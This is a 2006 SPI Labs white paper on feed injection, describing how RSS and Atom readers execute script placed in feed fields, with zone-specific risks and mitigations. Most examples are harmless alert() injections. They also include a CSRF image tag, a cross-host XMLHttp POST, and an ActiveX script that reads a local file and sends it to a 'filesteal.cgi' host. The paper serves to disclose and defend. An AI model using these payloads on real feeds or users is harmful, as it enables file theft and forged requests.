SPI DYNAMICS

Start Secure. Stay Secure.™

Feed Injection in Web 2.0

Hacking RSS and Atom Feed Implementations

By Robert Auger, SPI Labs

Table of Contents

Introduction

One new feature of "Web 2.0", the movement to build a more responsive Web, is the utilization of XML content feeds which use the RSS and Atom standards. These feeds allow both users and Web sites to obtain content headlines and body text without needing to visit the site in question, basically providing users with a summary of that sites content. Unfortunately, many of the applications that receive this data do not consider the security implications of using content from third parties and unknowingly make themselves and their attached systems susceptible to various forms of attack.

This white paper discusses various forms of attacks based on Web feeds that follow the RSS, Atom and XML standards. This paper does not extensively cover each XML element and its usage within Web-based feeds, nor does it address other vulnerability scenarios such as buffer overflows and other XML-specific risks. The goal of this paper is to outline the risks of lesser-known threats which are currently emerging on the Web utilizing Cross-Site Scripting.

Web Feeds as Attack Vectors

Browsers, local readers, Web sites and online portals such as Bloglines all subscribe to feeds. These applications automatically fetch new content at intervals defined either on the receiving client or by the feed itself. Once a user is subscribed, they are alerted to new entries where they can read the story title and usually a brief description of the story body. The RSS Specification states that story bodies (the <description> tag) allow HTML entities in order to allow HTML formatting, but it isn't 100% clear about the use of literal HTML tag inclusions. Our research of several Web feed readers revealed different approaches to treating feed input and passing content to users.

Readers treating <> as literals

A vast majority of the readers tested utilized IE components to display the data. In certain instances when a feed contained HTML tags, the viewer application served up the content literally. Below is an RSS 2.0 example of such a feed which has been simplified to only the relevant tags.

```
<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel>
<title> <script>alert('Channel Title')</script>
</title>
<link>http://www.mycoolsite.com/
</link>
<description> <script>alert('Channel Description')</script> </description>
<language>en-us
</language>
<copyright>Mr Cool 2006</copyright>

<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image>
<title> <script>alert('Channel Image Title')</script>
</title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
```

```
<height>33</height>

<description> <script>alert('Channel Image Description')</script> </description>
</image>

<item>
<title> <script>alert('Item Title')</script> </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> <script>alert('Item Description')</script> </description>

<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid>
</item>

</channel>
</rss>
```

Multiple instances of script injection appear in this example. During the presentation phase the readers treat the data as a literal and thus execute any script contained in the feed, in this case JavaScript. This could be used to install malicious software on the client system, steal cookies, or for a wide range of nefarious purposes.

Readers converting the HTML entities to their true values

Most of the time, developers implemented the standard XML specification for their Web-based readers and converted HTML entities to their real values. Unfortunately, when they displayed this converted data they did not take into account the potential for script injection. This example uses an RSS 2.0 feed:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0">
<channel>
<title> &lt;script&gt;alert('Channel Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<description> &lt;script&gt;alert('Channel Description')&lt;/script&gt;
</description>
<language>en-us</language>
<copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>
```

```
<ttl>10</ttl>
<image>
<title> &lt;script&gt;alert('Channel Image Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/</link>
<url>http://www.mycoolsite.com/logo.gif</url>
<width>144</width>
<height>33</height>
<description> &lt;script&gt;alert('Channel Image Description')&lt;/script&gt;
</description>
</image>

<item>
<title> &lt;script&gt;alert('Item Title')&lt;/script&gt; </title>
<link>http://www.mycoolsite.com/lonely.html</link>
<description> &lt;script&gt;alert('Item Description')&lt;/script&gt; </description>
<pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate>
<guid>http://mysite/Mrguid</guid>
</item>

</channel>
</rss>
```

Typically these RSS viewers converted < to < and > to > and then put that content into the content viewer (typically a browser component) which allowed for script execution. The vast majority of these readers converted the feed content and saved it to a file on the hard disk before loading it into the viewer. This opened up the local zone as detailed in the Local Zone Risks section later in this document.

Readers stripping out < > < and > during display

The safest readers were not affected because they stripped out both HTML entities and metacharacters before displaying the information to the user. Interestingly, readers supporting both RSS and Atom technologies had properly stripped them in one technology but not the other, and were therefore still vulnerable.

If you are familiar with Cross-Site Scripting attacks you may be familiar with some of the things you can do with script injection. However, you may not see all of the implications regarding Web feed readers.

Risks by Zone

Remote Zone Risks

Typically Web browsers and Web-based readers fall into the remote zone category. When a reader is vulnerable in the remote zone attackers are substantially limited in what they can do. However, there is still a potential for successful attacks.

Cross-Site Request Forgery

An attacker can utilize Cross-Site Request Forgery (CSRF or XSRF) attacks in various ways to make your machine send requests to a Web site in order to possibly execute commands. For example:

```
<img
src="http://www.mystocktradersite.com/transaction.asp?sell=google&buy=Microsoft&nums
hares=1000">
```

In the fictitious example above an attacker could inject an "<img src>" tag into a feed to make a system connect to a stock trading site named "www.mystocktradersite.com" to sell some stocks and buy others. Additional information on Cross-Site Request Forgery can be found in the References and Additional Reading section.

Potential to launch attacks

Since attackers can send requests to other sites, they could potentially trick your browser into carrying out Web-based attacks on their behalf. These attacks could cause Denial of Service conditions in the remote site, or if the site is vulnerable, execute commands on it. Here an attacker's advantage is that your IP will be logged and any resulting investigation by the victim may lead to you instead of to the attacker.

POST data and spam

Many Web applications utilize common Web libraries such as Perl's CGI.PM module for various functions including parameter fetching. Some of these libraries allow the developer to simply say "give me this parameter" without specifying if the request came into the application as POST data or GET. This means that if an attacker wanted to attack a remote machine's application and that application utilized POST, then it may be possible to convert these requests to GET and still be successful. Depending on the number of vulnerable subscribers, an attacker could exploit this "feature" and use thousands of victims to spam a particular site via submissions from Web forms.

Local Zone Risks

The readers which made users vulnerable to local zone attacks typically converted the feed to an HTML file, stored it to a local file and loaded it into an Internet Explorer instance. By loading the file from the disk they opened themselves to the local browser zone and its functionality. This functionality includes access to ActiveX objects with permissions to read and write files to

the disk. The following simple example script below will read in a local file "c:\test.txt" and send a copy of it to a third party host.

```
<script>
txtFile="";theFile="C:\\test.txt";
var thisFile = new ActiveXObject("Scripting.FileSystemObject");
var ReadThisFile = thisFile.OpenTextFile(theFile,1,true);
txtFile+= ReadThisFile.ReadAll();
ReadThisFile.Close(); alert(txtFile);
document.location='http://host/cgi-bin/filesteal.cgi?' + txtFile
</script>
```

When viewing the feed, the user is often immediately presented with an ActiveX warning asking if they wish to allow the script to execute before being able to see any of the content. Of course, savvy users will click No, but if most people were savvy in this way, we would not still have e-mail attachment viruses! We discovered a large percentage of local readers were in fact affected by this problem. Worse yet, some did not even warn the user before executing the ActiveX control.

Besides the ability to access the file system and perform most of the attacks outlined in the Remote Zone Risks section, local zone access opens up other opportunities such as access to the "XMLHttp/XMLHttpRequest" object typically utilized by Ajax applications.This object is commonly limited to sending requests only to the same domain containing the code from which it came (in the remote zone). However, when in the local zone there is not a limit as to what can be requested. This allows an attacker to include code in a feed to scan the ports of a backend network, identifying open ports and potentially launching attacks automatically while behind the firewall without

the user's knowledge. The potential for a worm is fairly obvious. The example below demonstrates sending a request to a remote host.

```
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
 xmlhttp.open("POST", 'http://attackedhost/foo/bar.php', true);
 xmlhttp.onreadystatechange = function () {
   if (xmlhttp.readyState == 4) {
       alert(xmlhttp.responseText);
   }
 };
 xmlhttp.send(post_data);
</script>
```

Additional presentations by Jeremiah Grossman provide examples of keystroke recording and direct attacker interaction with the user host and can be found in the References and Additional Reading section.

Reader Type-Specific Risks

Web Reader Risks

People typically use browsers or local clients to subscribe to a Web-based feed. They are affected by both local and remote zone issues depending on the application's implementation. Online sites such as bloglines.com or Google provide Web-based feed viewers and fall into the remote zone risk category. Vulnerabilities in Web-based viewers grant attackers access to the site's zone (allowing cookie theft) and to common abilities often available for Cross-Site Scripting attacks.

Web Site Risks

The potential impact of a feed-based attack increases significantly when the feed being controlled is syndicated on other Web sites. For example, if an attacker-controlled feed was created on Site A and implemented on Site B, its content would be included in Site B's content. If Site B were also vulnerable to a Web feed attack, the attacker could then access Site B's remote zone and users. In some cases an attacker-controlled feed is included in feeds to other sites and also to users who in turn pass it elsewhere, rapidly expanding the base of possible victims.

Using a Feed as a Deployment Vector

In addition to the issues described above, the potential for using Web-based feeds as an exploit deployment vector for both known and zero-day exploits is rather large. This is even more apparent when a feed is re-syndicated in other sites' feeds. The potential exposed user base could be in the millions, making it an attractive method for worm deployment.

How Does One Utilize a Web Feed Vulnerability?

Vulnerabilities in Web feed clients can be utilized if:

- The feed owner is malicious. This will not be the case in most situations, but is a possibility.
- The site providing the feed was hacked. Defacement archives show thousands of sites being defaced daily. An attacker deciding to inject malicious payloads into a feed rather than deface the site has a greater chance of evading detection for a longer period of time, and thus to affect more machines.
- Some Web-based feeds are often created from mailing lists, bulletin board messages, peer-to-peer (P2P) Web sites, BitTorrent sites or user postings on blogs. This provides a convenient method to inject a malicious payload.
- The feed is somehow modified during the transport phase via Proxy Cache poisoning. While worth mentioning, the likelihood of this is slim.

Risks by Standard

RSS

The most typical vulnerabilities in RSS-based readers were within the Feed Title, Feed Description, Item Title, Item Link and Item Description XML elements, though others can also be affected. In order to utilize these fields, attackers need only to insert their malicious payloads into them. Depending on the vulnerable reader, attackers may need to insert literal script injection, HTML entity injection, or a combination of the two. The following is a harmless example showing script injection using various methods in a story entry.

```
<title><script>alert('Title Popup Example ')</script> </title>
<link>&lt;script&gt;alert('Link Popup Example')&lt;/script&gt; </link>
<description>&lt;script>alert('Description Popup Example')&lt;/script></description>
</item>
```

A vulnerable reader will attempt to display data within these fields and execute the script.

Atom

Similar to the issues discovered in RSS, Atom is affected in the equivalent fields in a large majority of affected applications. Common elements include the Author Name, Entry Updated Element, Feed Title, Feed Subtitle, Feed Updated Element, and Div elements as well as many others. The following is a harmless example showing script injection into an Atom story entry.

```
<entry xmlns="http://www.w3.org/2005/Atom">
<author>
```

```
<name> <script>alert('Entry Author')</script> </name>
</author>
<published> <script>alert('Entry Published')</script> </published>

<updated> <script>alert('Entry Updated')</script> </updated>
<link href="http://site/" rel="alternate" title="Site's Feed" type="text/html"/>
<id> <script>alert('Entry ID')</script> </id>
<title type="html"><script>alert('Entry Title')</script></title>
<content type="xhtml" xml:base="http://site/" xml:space="preserve">
<div xmlns="http://www.w3.org/1999/xhtml">
<script>alert('Entry Div XMLNS')</script>
</div>
</content>
<draft xmlns="http://purl.org/atom-blog/ns#">false</draft>
</entry>
```

Conclusion

Instead of focusing attacks on the server side, attackers have also begun active exploitation of client side vulnerabilities. This trend isn't expected to slow down anytime soon. Client-side vulnerabilities allow an attacker to execute payloads and extract information without the need to install any software, creating less overhead for the attacker. Web based feeds are quickly gaining in popularity and have been widely adopted as a mechanism for software and firmware updates. Vulnerabilities associated with feeds include Cross-Site Scripting, which continues to become a more interesting and dangerous attack vector with each passing month. Other risks, including keystroke logging and Cross-Site Request Forgery, are also on the rise.

How can Web sites that provide feeds help to prevent security issues that arise from Feed Injection? Application developers can make a start by “white listing” certain HTML Tags such as <b>,
, and <font>. White listing refers to the practice of accepting input that is good, as opposed to trying to

block input that is bad. Developers can also strip possibly malicious tags such as “<” and “>”. Although that will prevent the issues that have been discovered and discussed in this white paper, that approach will also have the unfortunate downside of possibly removing functionality and the ability to utilize HTML formatting. End-users can help to protect themselves by disabling script, applet, and plug-in execution, although that would tend to limit functionality.

References and Additional Reading

What is Web 2.0?
http://www.oreillynet.com/pub/a/oreilly/tim/news/2005/09/30/what-is-web-20.html?page=3

Wikipedia RSS Entry
http://en.wikipedia.org/wiki/RSS_(file_format)

Wikipedia List of Content Syndication Markup Languages
http://en.wikipedia.org/wiki/List_of_content_syndication_markup_languages

XML Specification
http://www.w3.org/TR/REC-xml/

RSS Specification
http://www.rss-specifications.com/rss-specifications.htm

Atom Specification
http://www.atomenabled.org/

Cross-Site Request Forgery
http://en.wikipedia.org/wiki/Cross-site_request_forgery

Cross-Zone Scripting
http://en.wikipedia.org/wiki/Cross_Zone_Scripting

The Cross-Site Scripting FAQ
http://www.cgisecurity.com/articles/xss-faq.shtml

Ajax
http://en.wikipedia.org/wiki/AJAX

Yahoo Ajax Worm
http://www.macworld.com/news/2006/06/16/ajax/index.php

Yahoo RSS Vulnerability
http://seclists.org/lists/bugtraq/2005/Oct/0205.html

Phishing with Superbait
http://www.whitehatsec.com/presentations/phishing_superbait.pdf

Web Browser Customization
http://msdn.microsoft.com/workshop/browser/hosting/wbcustomization.asp

RSS 2.0 Best Practice Tip: Entity-encoded HTML in Descriptions
http://myst-technology.com/mysmartchannels/public/item/11878?model=user/mtp/web&style=user/mtp/web

About SPI Labs

SPI Labs is the dedicated application security research and testing team of S.P.I. Dynamics. Composed of some of the industry's top security experts, SPI Labs is specifically focused on researching security vulnerabilities at the Web application layer. The SPI Labs mission is to provide objective research to the security community and give organizations concerned with their security practices a method of detecting, remediating, and preventing attacks upon the Web application layer.

SPI Labs industry leading security expertise is evidenced via continuous support of a combination of assessment methodologies which are used in tandem to produce the most accurate Web application vulnerability assessments available on the market. This direct research is utilized to provide daily updates to S.P.I. Dynamics' suite of security assessment and testing software products. These updates include new intelligent engines capable of dynamically assessing Web applications for security vulnerabilities by crafting highly accurate attacks unique to each application and situation, and daily additions to the world's largest database of more than 5,000 application layer vulnerability detection signatures and agents. SPI Labs engineers comply with the standards proposed by the Internet Engineering Task Force (IETF) for responsible security vulnerability disclosure. Information regarding SPI Labs policies and procedures for disclosure are outlined on the S.P.I. Dynamics Web site at: **http://www.spidynamics.com/spilabs/**.

About the Author

Robert Auger is a research and development engineer for SPI Dynamics (www.spidynamics.com) where he is responsible for researching Internet security advisories, competitive products/services and vulnerabilities at the application layer. In addition, he is a member of the SPI Labs team, where he develops new methods for penetration (pen) testing and new Web application security techniques. Robert is considered an expert in Web application security due to his extensive knowledge and experience in this specific Internet security niche. Robert also co-founded the Web Application Security Consortium (WASC) in 2004, and leads the WASC-Articles project. He has also served as a technical advisor to the media, working on stories related to his area of expertise.

About S.P.I. Dynamics Incorporated

Start Secure. Stay Secure.

Security Assurance Throughout the Application Lifecycle.

S.P.I. Dynamics' suite of Web application security products help organizations build and maintain secure Web applications, preventing attacks that would otherwise go undetected by today's traditional corporate Internet security measures. The company's products enable all phases of the software development lifecycle to collaborate in order to build, test and deploy secure Web applications. In addition, the security assurance provided by these products help Fortune 500 companies and organizations in regulated industries — including financial services, health care and government —

protect their sensitive data and comply with legal mandates and regulations regarding privacy and information security. Founded in 2000 by security specialists, S.P.I. Dynamics is privately held with headquarters in Atlanta, Georgia.

Contact Information

S.P.I. Dynamics
115 Perimeter Center Place
Suite 1100
Atlanta, GA 30346

Telephone: (678) 781-4800
Fax: (678) 781-4850
Email: info@spidynamics.com
Web: www.spidynamics.com